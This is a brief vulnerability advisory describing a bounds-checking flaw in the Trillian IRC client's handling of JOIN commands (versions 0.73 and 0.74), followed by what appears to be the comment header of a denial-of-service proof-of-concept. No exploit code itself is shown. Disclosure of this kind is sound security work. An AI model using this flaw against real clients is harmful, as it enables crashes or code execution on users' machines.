The Trillian IRC module does not sufficiently check bounds on JOIN commands. A malicious IRC server may potentially exploit this condition to cause a denial of service or execute arbitrary code with the privileges of the client.

This issue was reported for Trillian versions 0.73 and 0.74. Earlier versions may also be affected.

   Exploits the Trillian Join Flaw.
   Tested On Version .74 and .73
   Compiles with Borland 5.5 Commandline Tools.

   This Example Will Just DoS The Trillian Client,
   not particularly useful, just proves the flaw exists.
